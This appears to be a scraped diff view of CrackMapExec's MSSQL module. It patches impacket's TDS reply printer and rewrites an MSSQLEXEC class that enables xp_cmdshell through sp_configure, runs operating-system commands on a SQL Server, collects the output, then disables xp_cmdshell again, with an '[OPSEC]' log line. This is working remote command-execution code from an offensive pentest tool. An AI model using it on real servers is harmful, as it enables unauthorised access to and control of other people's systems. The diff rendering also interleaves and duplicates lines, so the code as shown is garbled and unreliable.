for keys in self.replies.keys():
|
||||
for i, key in enumerate(self.replies[keys]):
|
||||
if key["TokenType"] == TDS_ERROR_TOKEN:
|
||||
error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
self.lastError = SQLErrorException(
|
||||
f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
)
|
||||
self._MSSQL__rowsPrinter.error(error)
|
||||
|
||||
# We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
|
||||
# The whole tds library in impacket needs a good overhaul to preserve my sanity
|
||||
def printRepliesCME(self):
|
||||
for keys in self.replies.keys():
|
||||
for i, key in enumerate(self.replies[keys]):
|
||||
if key["TokenType"] == TDS_ERROR_TOKEN:
|
||||
error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
self.lastError = SQLErrorException(
|
||||
f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
)
|
||||
self._MSSQL__rowsPrinter.error(error)
|
||||
|
||||
elif key["TokenType"] == TDS_INFO_TOKEN:
|
||||
self._MSSQL__rowsPrinter.info(
|
||||
f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
)
|
||||
|
||||
elif key["TokenType"] == TDS_LOGINACK_TOKEN:
|
||||
self._MSSQL__rowsPrinter.info(
|
||||
f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) "
|
||||
)
|
||||
|
||||
elif key["TokenType"] == TDS_ENVCHANGE_TOKEN:
|
||||
if key["Type"] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
|
||||
record = TDS_ENVCHANGE_VARCHAR(key["Data"])
|
||||
if record["OldValue"] == "":
|
||||
record["OldValue"] = "None".encode('utf-16le')
|
||||
elif record["NewValue"] == '':
|
||||
record["NewValue"] = "None".encode('utf-16le')
|
||||
if key["Type"] == TDS_ENVCHANGE_DATABASE:
|
||||
_type = "DATABASE"
|
||||
elif key["Type"] == TDS_ENVCHANGE_LANGUAGE:
|
||||
_type = "LANGUAGE"
|
||||
elif key["Type"] == TDS_ENVCHANGE_CHARSET:
|
||||
_type = "CHARSET"
|
||||
elif key["Type"] == TDS_ENVCHANGE_PACKETSIZE:
|
||||
_type = "PACKETSIZE"
|
||||
else:
|
||||
_type = f"{key['Type']:d}"
|
||||
elif key["TokenType"] == TDS_INFO_TOKEN:
|
||||
self._MSSQL__rowsPrinter.info(
|
||||
f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}"
|
||||
f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
)
|
||||
|
||||
elif key["TokenType"] == TDS_LOGINACK_TOKEN:
|
||||
self._MSSQL__rowsPrinter.info(
|
||||
f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) "
|
||||
)
|
||||
|
||||
tds.MSSQL.printReplies = printRepliesCME
|
||||
elif key["TokenType"] == TDS_ENVCHANGE_TOKEN:
|
||||
if key["Type"] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
|
||||
record = TDS_ENVCHANGE_VARCHAR(key["Data"])
|
||||
if record["OldValue"] == "":
|
||||
record["OldValue"] = "None".encode('utf-16le')
|
||||
elif record["NewValue"] == '':
|
||||
record["NewValue"] = "None".encode('utf-16le')
|
||||
if key["Type"] == TDS_ENVCHANGE_DATABASE:
|
||||
_type = "DATABASE"
|
||||
elif key["Type"] == TDS_ENVCHANGE_LANGUAGE:
|
||||
_type = "LANGUAGE"
|
||||
elif key["Type"] == TDS_ENVCHANGE_CHARSET:
|
||||
_type = "CHARSET"
|
||||
elif key["Type"] == TDS_ENVCHANGE_PACKETSIZE:
|
||||
_type = "PACKETSIZE"
|
||||
else:
|
||||
_type = f"{key['Type']:d}"
|
||||
self._MSSQL__rowsPrinter.info(
|
||||
f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}"
|
||||
)
|
||||
|
||||
tds.MSSQL.printReplies = printRepliesCME
|
||||
|
|
|
@ -8,26 +8,39 @@ from cme.logger import cme_logger
|
|||
class MSSQLEXEC:
|
||||
def __init__(self, connection):
|
||||
self.mssql_conn = connection
|
||||
self.outputBuffer = ''
|
||||
self.outputBuffer = ""
|
||||
|
||||
def execute(self, command, output=False):
|
||||
command_output = []
|
||||
try:
|
||||
self.enable_xp_cmdshell()
|
||||
self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
|
||||
|
||||
if output:
|
||||
self.mssql_conn.printReplies()
|
||||
self.mssql_conn.colMeta[0]["TypeData"] = 80 * 2
|
||||
self.mssql_conn.printRows()
|
||||
self.outputBuffer = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
|
||||
if len(self.outputBuffer):
|
||||
self.outputBuffer = self.outputBuffer.split('\n', 2)[2]
|
||||
|
||||
self.disable_xp_cmdshell()
|
||||
return self.outputBuffer
|
||||
|
||||
except Exception as e:
|
||||
cme_logger.debug(f"Error executing command via mssqlexec: {e}")
|
||||
cme_logger.error(f"Error when attempting to enable x_cmdshell: {e}")
|
||||
try:
|
||||
result = self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
|
||||
cme_logger.debug(f"SQL Query Result: {result}")
|
||||
for row in result:
|
||||
if row["output"] == "NULL":
|
||||
continue
|
||||
command_output.append(row["output"])
|
||||
except Exception as e:
|
||||
cme_logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
|
||||
|
||||
if output:
|
||||
for row in command_output:
|
||||
cme_logger.display(row)
|
||||
# self.mssql_conn.printReplies()
|
||||
# self.mssql_conn.colMeta[0]["TypeData"] = 80 * 2
|
||||
# self.mssql_conn.printRows()
|
||||
# self.outputBuffer = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
|
||||
# if len(self.outputBuffer):
|
||||
# self.outputBuffer = self.outputBuffer.split('\n', 2)[2]
|
||||
try:
|
||||
self.disable_xp_cmdshell()
|
||||
except Exception as e:
|
||||
cme_logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
|
||||
return command_output
|
||||
# return self.outputBuffer
|
||||
|
||||
def enable_xp_cmdshell(self):
|
||||
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
|
||||
|
|
Loading…
Reference in New Issue